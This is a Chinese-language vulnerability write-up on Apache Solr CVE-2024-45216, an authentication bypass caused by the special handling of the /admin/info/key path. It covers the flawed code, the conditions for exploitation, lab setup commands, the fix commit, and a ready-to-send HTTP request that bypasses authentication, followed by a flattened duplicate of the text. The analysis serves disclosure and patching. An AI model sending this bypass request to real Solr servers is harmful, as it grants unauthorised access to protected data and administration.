Apache Solr Fake URL Bypass Auth(CVE-2024-45216)
字数 999 2025-08-22 18:37:27

Apache Solr Fake URL Bypass 认证绕过漏洞(CVE-2024-45216)分析

漏洞概述

Apache Solr 存在一个认证绕过漏洞(CVE-2024-45216),攻击者可以通过构造特殊的URL绕过PKIAuthenticationPlugin认证机制,从而未授权访问受保护资源。

漏洞影响

  • 影响版本:特定配置下的Apache Solr
  • 漏洞类型:认证绕过
  • CVSS评分:待定

漏洞原理分析

关键漏洞点

漏洞位于Solr的认证处理逻辑中,具体在org.apache.solr.servlet.SolrDispatchFilter#authenticateRequest方法。当URL以PublicKeyHandler.PATH(即/admin/info/key)结尾时,会直接通过认证检查。

认证流程分析

  1. Solr通过PKIAuthenticationPlugin进行认证处理
  2. 认证逻辑首先检查请求路径:
    String requestPath = ServletUtils.getPathAfterContext(request);
    if ("/admin/info/key".equals(requestPath)) {
        log.debug("Pass through PKI authentication endpoint");
    }
    
  3. 如果请求路径匹配/admin/info/key,则直接通过认证
  4. 攻击者可以通过构造特殊URL如*:/admin/info/key来绕过认证

触发条件

要利用此漏洞,需要满足以下条件:

  1. Solr运行在SolrCloud模式下(启用了ZooKeeper)
  2. 配置了PKI认证插件
  3. 请求中包含SolrAuthSolrAuthV2

环境配置要求

必要配置

  1. 启用ZooKeeper(设置SOLR_JETTY_HOST="0.0.0.0"
  2. ./server/solr/目录下添加security.json文件
  3. 通过ZooKeeper CLI设置安全配置:
    set /security.json '{"authentication":{"blockUnknown":true,"class":"solr.BasicAuthPlugin","credentials":{"solr":"IV0EHq1OnNrj6gvRCwvFwTrZ1+z1oBbnQdiVC3otuq0= Ndd7LKvVBAaZIF0QAVi1ekCfAJXr1GGfLtRUXhgrF8c="}},"authorization":{"class":"solr.RuleBasedAuthorizationPlugin","permissions":[{"name":"security-edit","role":"admin"}],"user-role":{"solr":"admin"}}}'
    

漏洞复现步骤

  1. 启动Solr in SolrCloud模式:

    /bin/solr start -z localhost:2181 -c -force
    
  2. 发送恶意请求:

    POST /solr/admin/cores:/admin/info/key HTTP/1.1
    Host: <target>
    Cache-Control: max-age=0
    SolrAuthV2: 123
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 0
    

修复方案

漏洞修复commit:
https://github.com/apache/solr/commit/bd61680bfd351f608867739db75c3d70c1900e38

建议升级到已修复版本或应用相关补丁。

技术细节

关键代码分析

PKIAuthenticationPlugin初始化代码:

this.pkiAuthenticationSecurityBuilder = new PKIAuthenticationPlugin(
    this, 
    this.zkSys.getZkController().getNodeName(), 
    (PublicKeyHandler)this.containerHandlers.get("/admin/info/key")
);

认证检查逻辑:

if ("/admin/info/key".equals(requestPath)) {
    log.debug("Pass through PKI authentication endpoint");
} else if (!"/solr/".equals(requestPath) && !"/".equals(requestPath)) {
    // 正常认证流程
    // ...
}

总结

此漏洞利用Solr对特定路径(/admin/info/key)的特殊处理,通过构造恶意URL绕过认证机制。管理员应及时应用修复补丁或升级到安全版本。

Apache Solr Fake URL Bypass 认证绕过漏洞(CVE-2024-45216)分析 漏洞概述 Apache Solr 存在一个认证绕过漏洞(CVE-2024-45216),攻击者可以通过构造特殊的URL绕过PKIAuthenticationPlugin认证机制,从而未授权访问受保护资源。 漏洞影响 影响版本:特定配置下的Apache Solr 漏洞类型:认证绕过 CVSS评分:待定 漏洞原理分析 关键漏洞点 漏洞位于Solr的认证处理逻辑中,具体在 org.apache.solr.servlet.SolrDispatchFilter#authenticateRequest 方法。当URL以 PublicKeyHandler.PATH (即 /admin/info/key )结尾时,会直接通过认证检查。 认证流程分析 Solr通过 PKIAuthenticationPlugin 进行认证处理 认证逻辑首先检查请求路径: 如果请求路径匹配 /admin/info/key ,则直接通过认证 攻击者可以通过构造特殊URL如 *:/admin/info/key 来绕过认证 触发条件 要利用此漏洞,需要满足以下条件: Solr运行在SolrCloud模式下(启用了ZooKeeper) 配置了PKI认证插件 请求中包含 SolrAuth 或 SolrAuthV2 头 环境配置要求 必要配置 启用ZooKeeper(设置 SOLR_JETTY_HOST="0.0.0.0" ) 在 ./server/solr/ 目录下添加 security.json 文件 通过ZooKeeper CLI设置安全配置: 漏洞复现步骤 启动Solr in SolrCloud模式: 发送恶意请求: 修复方案 漏洞修复commit: https://github.com/apache/solr/commit/bd61680bfd351f608867739db75c3d70c1900e38 建议升级到已修复版本或应用相关补丁。 技术细节 关键代码分析 PKIAuthenticationPlugin 初始化代码: 认证检查逻辑: 总结 此漏洞利用Solr对特定路径( /admin/info/key )的特殊处理,通过构造恶意URL绕过认证机制。管理员应及时应用修复补丁或升级到安全版本。